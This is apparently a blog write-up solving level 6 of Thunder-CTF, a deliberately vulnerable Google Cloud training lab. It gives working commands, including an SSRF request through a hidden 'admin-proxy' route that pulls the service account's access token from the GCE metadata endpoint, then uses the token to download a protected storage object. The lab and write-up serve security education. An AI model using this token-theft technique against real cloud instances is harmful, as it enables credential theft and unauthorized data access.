Solving Thunder-CTF: Level 06

We have come to the final level in Thunder CTF. Here are links to my previous level writeups (just in case you haven’t checked it):

Starting Level 6:

python3 thunder.py create thunder/a6container

I am authenticating with the service account associated with this level.

gcloud auth activate-service-account --key-file=start/a6-access.json

Now, first, we will test the permissions of the a6-access.json, which is the corresponding key for the service account

python scripts/test-permissions.py start/a6-access.json

This service account has permissions related to the compute instance and storage.

Let’s list the storage objects:

gsutil ls gs://<bucket_name>

Finding the file containing the secret was easy. However, the catch is we can only list the objects but not download them (as the service account doesn’t have storage.buckets.get permission).

Let’s see what we can find from the compute instances. Listing the instances shows the following:

gcloud compute instances list

Since we also have compute.instances.get permission, we can describe the compute instance.

gcloud compute instances describe a6-container-vm --zone=us-west1-b

This compute instance has a docker image added under the “gce-container-declaration” metadata section. So, it is just running the container.

When we searched for that particular image in the Docker Hub, we found it there. That means it is publicly available, and even we can pull that image and analyze it further.

We can pull the docker image in Cloudshell and analyze it further.

docker version
docker pull wuchangfeng/thunder-ctf-a6:latest
docker run -it --entrypoint=/bin/bash wuchangfeng/thunder-ctf-a6

Let’s navigate inside the container

ls

It has a Python application inside; we’ll analyze it.

cat app.py

This Python application has a suspiciously unusual URL route that returns the compute instance’s metadata URL.

If the same container is running on the compute instance, it must expose this endpoint. If it does, it will also respond with the access token of the instance’s service account.

Let’s try accessing the URL along with the public IP of the instance:

curl <external-ip-of-instance>/admin-proxy-aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Now that we have the compute instance’s access token, we will try to list the permissions related to it.

python scripts/test-permissions.py <access-token>

We can see that only storage.objects.get permission is associated with this access token.

Finally, download the secret.txt object in the storage bucket by passing the compute instance’s access token.

https://www.googleapis.com/storage/v1/b/<bucket-name>/o/secret.txt?alt=media

We got the secret value from the secret.txt file.

This marks the end of Thunder-CTF’s level-6.

Reply

or to participate.